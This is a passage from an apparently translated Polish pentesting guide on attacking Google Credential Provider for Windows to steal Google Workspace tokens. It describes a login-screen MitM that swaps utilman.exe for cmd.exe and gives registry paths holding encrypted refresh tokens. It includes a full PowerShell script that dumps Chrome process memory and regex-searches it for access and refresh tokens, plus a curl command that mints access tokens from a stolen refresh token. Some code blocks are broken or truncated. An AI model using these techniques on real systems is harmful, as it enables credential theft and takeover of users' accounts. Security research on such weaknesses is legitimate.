To jest jednolity system logowania, który zapewnia Google Workspace, aby użytkownicy mogli logować się na swoich komputerach z systemem Windows, używając swoich danych logowania do Workspace. Ponadto, będzie to przechowywać tokeny do uzyskiwania dostępu do Google Workspace w niektórych miejscach na komputerze.
Zauważ, że Winpeas jest w stanie wykryć GCPW, uzyskać informacje o konfiguracji i nawet tokeny.
GCPW - MitM
Gdy użytkownik uzyskuje dostęp do komputera z systemem Windows zsynchronizowanego z Google Workspace za pośrednictwem GCPW, będzie musiał wypełnić standardowy formularz logowania. Ten formularz logowania zwróci kod OAuth, który komputer wymieni na token odświeżania w żądaniu takim jak:
POST /oauth2/v4/token HTTP/2Host:www.googleapis.comContent-Length:311Content-Type:application/x-www-form-urlencoded[...headers...]scope=https://www.google.com/accounts/OAuthLogin&grant_type=authorization_code&client_id=77185425430.apps.googleusercontent.com&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f&device_type=chrome
Nowe linie zostały dodane, aby poprawić czytelność.
Możliwe było przeprowadzenie ataku MitM, instalując Proxifier na komputerze, nadpisując binarny plik utilman.exe plikiem cmd.exe i uruchamiając funkcje ułatwień dostępu na stronie logowania Windows, co uruchomi CMD, z którego można uruchomić i skonfigurować Proxifier.
Nie zapomnij zablokować ruchu QUICK UDP w Proxifier, aby zredukować go do komunikacji TCP, dzięki czemu będziesz mógł go zobaczyć.
Skonfiguruj również w "Usługi i inni użytkownicy" obie opcje i zainstaluj certyfikat CA Burp w Windows.
Dodatkowo dodanie kluczy enable_verbose_logging = 1 i log_file_path = C:\Public\gcpw.log w HKLM:\SOFTWARE\Google\GCPW pozwala na przechowywanie niektórych logów.
GCPW - Odcisk palca
Możliwe jest sprawdzenie, czy GCPW jest zainstalowane na urządzeniu, sprawdzając, czy istnieje następujący proces lub czy istnieją następujące klucze rejestru:
# Check process gcpw_extension.exeif (Get-Process-Name "gcpw_extension"-ErrorAction SilentlyContinue) {Write-Output"The process gcpw_xtension.exe is running."} else {Write-Output"The process gcpw_xtension.exe is not running."}# Check if HKLM\SOFTWARE\Google\GCPW\Users exists$gcpwHKLMPath ="HKLM:\SOFTWARE\Google\GCPW\Users"if (Test-Path $gcpwHKLMPath) {Write-Output"GCPW is installed: The key $gcpwHKLMPath exists."} else {Write-Output"GCPW is not installed: The key $gcpwHKLMPath does not exist."}# Check if HKCU\SOFTWARE\Google\Accounts exists$gcpwHKCUPath ="HKCU:\SOFTWARE\Google\Accounts"if (Test-Path $gcpwHKCUPath) {Write-Output"Google Accounts are present: The key $gcpwHKCUPath exists."} else {Write-Output"No Google Accounts found: The key $gcpwHKCUPath does not exist."}
W HKCU:\SOFTWARE\Google\Accounts można uzyskać dostęp do adresu e-mail użytkownika oraz zaszyfrowanego refresh token jeśli użytkownik niedawno się zalogował.
W HKLM:\SOFTWARE\Google\GCPW\Users można znaleźć domeny dozwolone do logowania w kluczu domains_allowed, a w podkluczach można znaleźć informacje o użytkowniku, takie jak e-mail, zdjęcie, nazwa użytkownika, czasy życia tokenów, uchwyt tokena...
Uchwyt tokena to token, który zaczyna się od eth. i z którego można wyodrębnić pewne informacje za pomocą zapytania, takiego jak:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'# Example response{"audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":12880152}
Możliwe jest również znalezienie uchwytu tokenu dostępu za pomocą żądania takiego jak:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'access_token=<access token>'# Example response{"issued_to":"77185425430.apps.googleusercontent.com","audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":1327,"access_type":"offline","token_handle":"eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"}
Afaik nie jest możliwe uzyskanie tokenu odświeżania lub tokenu dostępu z uchwytu tokenu.
Ponadto plik C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse jest plikiem json zawierającym informacje o różnych ustawieniach takich jak enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (czy kilku użytkowników z Workspace może zalogować się na komputerze) oraz validityPeriodDays (liczba dni, przez które użytkownik nie musi ponownie uwierzytelnić się bezpośrednio w Google).
GCPW - Uzyskaj Tokeny
GCPW - Tokeny Odświeżania Rejestru
W rejestrze HKCU:\SOFTWARE\Google\Accounts może być możliwe znalezienie niektórych kont z refresh_token zaszyfrowanym wewnątrz. Metoda ProtectedData.Unprotect może łatwo to odszyfrować.
Uzyskaj HKCU:\SOFTWARE\Google\Accounts dane i odszyfruj refresh_tokens
```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security
Base registry path
$baseKey = "HKCU:\SOFTWARE\Google\Accounts"
Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )
</div>
Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=FEQxHRRP_5I), jeśli nie znajdziesz tokena w rejestrze, możliwe jest zmodyfikowanie wartości (lub usunięcie) z **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** i następnym razem, gdy użytkownik uzyska dostęp do komputera, będzie musiał się ponownie zalogować, a **token zostanie zapisany w poprzednim rejestrze**.
### GCPW - Tokeny odświeżania dysku
Plik **`%LocalAppData%\Google\Chrome\User Data\Local State`** przechowuje klucz do odszyfrowania **`refresh_tokens`** znajdujących się w **profilach Google Chrome** użytkownika, takich jak:
* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
Możliwe jest znalezienie pewnego **kodu C#** uzyskującego dostęp do tych tokenów w odszyfrowanej formie w [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
Ponadto, szyfrowanie można znaleźć w tym kodzie: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
Można zauważyć, że używany jest AESGCM, zaszyfrowany token zaczyna się od **wersji** (**`v10`** w tym czasie), następnie [**ma 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), a następnie ma **tekst szyfrowany** z końcowym **mac o wielkości 16B**.
### GCPW - Zrzucanie tokenów z pamięci procesów
Następujący skrypt może być użyty do **zrzucenia** każdego procesu **Chrome** przy użyciu `procdump`, wyodrębnienia **ciągów** i następnie **wyszukiwania** ciągów związanych z **tokenami dostępu i odświeżania**. Jeśli Chrome jest połączony z jakąś stroną Google, niektóre **procesy będą przechowywać tokeny odświeżania i/lub dostępu w pamięci!**
<details>
<summary>Zrzut procesów Chrome i wyszukiwanie tokenów</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
Spróbowałem tego samego z gcpw_extension.exe, ale nie znalazło żadnego tokena.
Z jakiegoś powodu niektóre wyodrębnione tokeny dostępu nie będą ważne (chociaż niektóre będą). Próbowałem następującego skryptu, aby usunąć znaki jeden po drugim, aby spróbować uzyskać ważny token z zrzutu. Nigdy nie pomogło mi to znaleźć ważnego, ale może się przyda:
Sprawdź token dostępu, usuwając znaki jeden po drugim
Check if the response contains "error_description"
if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi
Remove the last character from the token
access_token=${access_token:0:-1}
echo "Token length: ${#access_token}" done
echo "Error: Token invalid or too short"
</details>
### GCPW - Generowanie tokenów dostępu z tokenów odświeżających
Używając tokena odświeżającego, możliwe jest generowanie tokenów dostępu przy użyciu go oraz identyfikatora klienta i tajnego klucza klienta określonych w następującym poleceniu:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
GCPW - Zakresy
Zauważ, że nawet posiadając token odświeżający, nie można żądać żadnego zakresu dla tokena dostępu, ponieważ można żądać tylko zakresów obsługiwanych przez aplikację, w której generujesz token dostępu.
Ponadto, token odświeżający nie jest ważny w każdej aplikacji.
Domyślnie GCPW nie będzie miał dostępu jako użytkownik do każdego możliwego zakresu OAuth, więc używając poniższego skryptu możemy znaleźć zakresy, które można wykorzystać z refresh_token, aby wygenerować access_token: